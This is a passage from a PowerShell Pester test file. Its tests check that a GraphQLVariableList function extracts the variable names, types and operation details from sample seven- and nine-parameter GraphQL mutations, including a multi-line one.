406 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "uuid"
407 | }
408 |
409 | It "should contain the variable userId" {
410 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "userId"
411 | }
412 |
413 | It "should contain the variable firstName" {
414 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "firstName"
415 | }
416 |
417 | It "should contain the variable middleName" {
418 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "middleName"
419 | }
420 |
421 | It "should contain the variable lastName" {
422 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "lastName"
423 | }
424 |
425 | It "should contain the variable roles" {
426 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "roles"
427 | }
428 |
429 | It "should contain the variable roleIds" {
430 | (GraphQLVariableList -Query $nineParamMutation).Parameter | Should Contain "roles"
431 | }
432 |
433 | It "should contain the variable objects" {
434 | (GraphQLVariableList -Query $eightParamMutation).Parameter | Should Contain "objects"
435 | }
436 | }
437 |
438 | Context "Seven variable mutation" {
439 | It "should discover seven variables" {
440 | (GraphQLVariableList -Query $sevenParamMutation | Measure).Count | Should Be 7
441 | }
442 |
443 | It "should have an operation type of mutation" {
444 | (GraphQLVariableList -Query $sevenParamMutation).OperationType | Select -First 1 | Should Be "mutation"
445 | }
446 |
447 | It "should contain the variable uuid" {
448 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "uuid"
449 | }
450 |
451 | It "should contain the variable userId" {
452 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "userId"
453 | }
454 |
455 | It "should contain the variable firstName" {
456 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "firstName"
457 | }
458 |
459 | It "should contain the variable lastName" {
460 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "lastName"
461 | }
462 |
463 | It "should contain the variable roles" {
464 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "roles"
465 | }
466 |
467 | It "should contain the variable roleIds" {
468 | (GraphQLVariableList -Query $sevenParamMutation).Parameter | Should Contain "roles"
469 | }
470 |
471 | It "should contain the variable userId twice, one of type String and one of type Int" {
472 | (GraphQLVariableList -Query $sevenParamMutation | Where Parameter -eq userId).Type | Should Contain "String"
473 | (GraphQLVariableList -Query $sevenParamMutation | Where Parameter -eq userId).Type | Should Contain "Int"
474 | }
475 | }
476 |
477 | Context "Seven variable mutation multi-line" {
478 | It "should discover seven variables" {
479 | (GraphQLVariableList -Query $sevenParamMutationMultiLine | Measure).Count | Should Be 7
480 | }
481 |
482 | It "should have an operation name of UpdateUserTransactional" {
483 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Operation | Select -First 1 | Should Be "UpdateUserTransactional"
484 | }
485 |
486 | It "should have an operation type of mutation" {
487 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).OperationType | Select -First 1 | Should Be "mutation"
488 | }
489 |
490 | It "should contain the variable uuid" {
491 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "uuid"
492 | }
493 |
494 | It "should contain the variable userId" {
495 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "userId"
496 | }
497 |
498 | It "should contain the variable firstName" {
499 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "firstName"
500 | }
501 |
502 | It "should contain the variable lastName" {
503 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "lastName"
504 | }
505 |
506 | It "should contain the variable roles" {
507 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "roles"
508 | }
509 |
510 | It "should contain the variable roleIds" {
511 | (GraphQLVariableList -Query $sevenParamMutationMultiLine).Parameter | Should Contain "roles"
512 | }
513 | }
514 | }
515 |
--------------------------------------------------------------------------------